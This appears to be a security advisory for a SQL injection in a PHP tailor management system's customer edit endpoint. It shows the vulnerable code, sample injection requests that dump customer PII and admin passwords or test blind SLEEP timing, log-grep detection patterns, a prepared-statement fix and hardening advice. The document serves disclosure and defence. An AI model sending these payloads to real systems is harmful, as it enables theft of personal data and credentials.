CVE-2025-69947: Critical SQL Injection in Tailor Management System — Customer Edit Endpoint

<?php
// customeredit.php — simplified representation
$id = $_GET['id']; // Direct user input with no sanitization
 
$query = "SELECT * FROM customers WHERE id='$id'";
$result = mysqli_query($conn, $query);
$row = mysqli_fetch_array($result);

GET /customeredit.php?id=1' OR '1'='1 HTTP/1.1
Host: vulnerable-target.example

GET /customeredit.php?id=0' UNION SELECT 1,name,email,phone,address FROM customers-- HTTP/1.1
Host: vulnerable-target.example

GET /customeredit.php?id=0' UNION SELECT 1,username,password,4,5 FROM admin-- HTTP/1.1
Host: vulnerable-target.example

GET /customeredit.php?id=1' AND SLEEP(5)-- HTTP/1.1
Host: vulnerable-target.example

customers table:
  - id         (integer)
  - name       (full name — PII)
  - contact    (phone number — PII)
  - email      (email address — PII)
  - address    (physical address — PII)
  - gender
  - created_at

# Flag injected quote patterns
grep -E "customeredit\.php\?id=.*'" /var/log/nginx/access.log
 
# Detect UNION SELECT in GET parameters
grep -iE "customeredit.*UNION\s+SELECT" /var/log/apache2/access.log
 
# Check for sleep-based blind SQLi
grep -iE "customeredit.*SLEEP\([0-9]+\)" /var/log/apache2/access.log

Suspicious signs in application logs:
- Multiple requests to customeredit.php with varying id values
- HTTP 500 errors triggered from customeredit.php (error-based extraction)
- Abnormally long URLs for the id parameter
- Requests containing UNION, SELECT, information_schema, OR 1=1

<?php
// FIXED — customeredit.php
$id = $_GET['id'] ?? '';
 
// Numeric IDs: strict cast and validate
if (!ctype_digit($id) || (int)$id <= 0) {
    http_response_code(400);
    exit('Invalid customer ID');
}
$id = (int)$id;
 
// Prepared statement — parameterized query
$stmt = $conn->prepare("SELECT * FROM customers WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();
$result = $stmt->get_result();
$row = $result->fetch_assoc();

Application Layer:
  - Audit ALL query-building code in the application for similar patterns
  - Systematically replace string concatenation with prepared statements
  - Use an ORM or query builder that parameterizes by default
 
Session and Access:
  - Require authentication before any customer record is accessible
  - Implement CSRF tokens on all forms
  - Apply rate limiting on all endpoints to slow automated attacks
 
Infrastructure:
  - Deploy behind a WAF with SQLi rule set (ModSecurity + OWASP CRS)
  - Configure PHP to suppress display_errors in production
  - Restrict DB user to minimum required privileges
 
Monitoring:
  - Alert on unusual request volumes to any .php file
  - Ship access logs to a SIEM with SQLi detection rules